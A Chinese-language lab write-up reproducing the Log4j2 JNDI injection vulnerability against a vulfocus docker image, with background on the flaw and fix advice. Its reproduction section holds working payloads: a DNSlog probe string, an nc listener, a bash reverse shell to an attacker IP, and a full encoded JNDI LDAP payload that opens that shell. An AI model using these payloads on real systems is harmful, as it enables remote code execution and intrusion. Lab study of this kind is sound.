漏洞信息

image-20251124140101611

已知影响范围

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

环境信息

漏洞POC

payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}

poc = 指示目标请求我们自己搭建的 ldap 服务器或者 rmi 服务器

漏洞原理

jndi :是一个能够调用对应的 LDAP 和 rmi 的服务,大部分 JAVA 组件都存在该协议

LADP:是一个轻量级目录访问协议

Log4j2 这个日志框架允许用户直接输入包含特定指令的字符串,这些指令会触发 Log4j2 去执行查找并解析远程代码,最终导致攻击者可以在目标服务器上运行任意命令,本质上来说 log4j 漏洞数据 jndi 注入漏洞。

原理图

漏洞复现

这只是其中的一种复现方式

  1. 启动 docker
root@lj-nas:/home/admsec# docker run -dti -p 28080:8080 ^C
root@lj-nas:/home/admsec# docker run -dti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09:latest
  1. 获取域名,dnslog:http://www.dnslog.cn/

image-20251124164003284

  1. 构造恶意语句,并测试是否存在漏洞
${jndi:ldap://nddeiu.dnslog.cn}
url编码后:
%24%7bjndi%3aldap%3a%2f%2fnddeiu.dnslog.cn%7d
  1. 访问恶意链接

image-20251124164030991

  1. 看到回显,证明漏洞存在

image-20251124164045176

  1. 获取 Java 版本,接下来考虑如何获取 shell

image-20251124164447754

image-20251124164512125

  1. 上传 exp 到服务器,解压并运行 -i 后面跟自己服务器 ip,这样我们本地就搭建好了一个 LDAP 服务,这个服务的作用是进行远程目录访问,我们本地服务器的文件放在 8080 端口

image-20251124165329848

  1. 新开一个服务器终端,开启端口监听,并且构造一下 exp
root@admsec223:~# nc  -lvvp 8888
bash -i >& /dev/tcp/120.*.*.*/8888 0>&1
base64 编码↓,因为存在加号,所以还需要 url 编码,不然会被解析成空格
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMj******TQ5LjE1Mi84ODg4IDA+JjE=
url 编码↓
YmFzaCAtaSA%2bJiAvZG***************QuMTQ5LjE1Mi84ODg4IDA%2bJjE%3d

完整 POC ↓
${jndi:ldap://120.*.*.*:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2bJiAvZG***************QuMTQ5LjE1Mi84ODg4IDA%2bJjE%3d}
url 编码↓
%24%7bjndi%3aldap%3a%2f%2f120.24.149.152%3a1389%2fTomcatBypass%2fCommand%2fBase64%2fYmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMjAuMjQuMTQ5LjE1Mi84*******d
  1. 成功获取shell,并且 LDAP 服务有回显信息

image-20251124170912348

LDAP服务回显

修复建议

通用:升级最新版本 2.15.0 或以上

临时修补建议:

  1. 设置启动参数 -Dlog4j2.formatMsgNoLookups=true
  2. 限制访问外网
  3. 采用 rasp 对 lookup 的调用进行阻断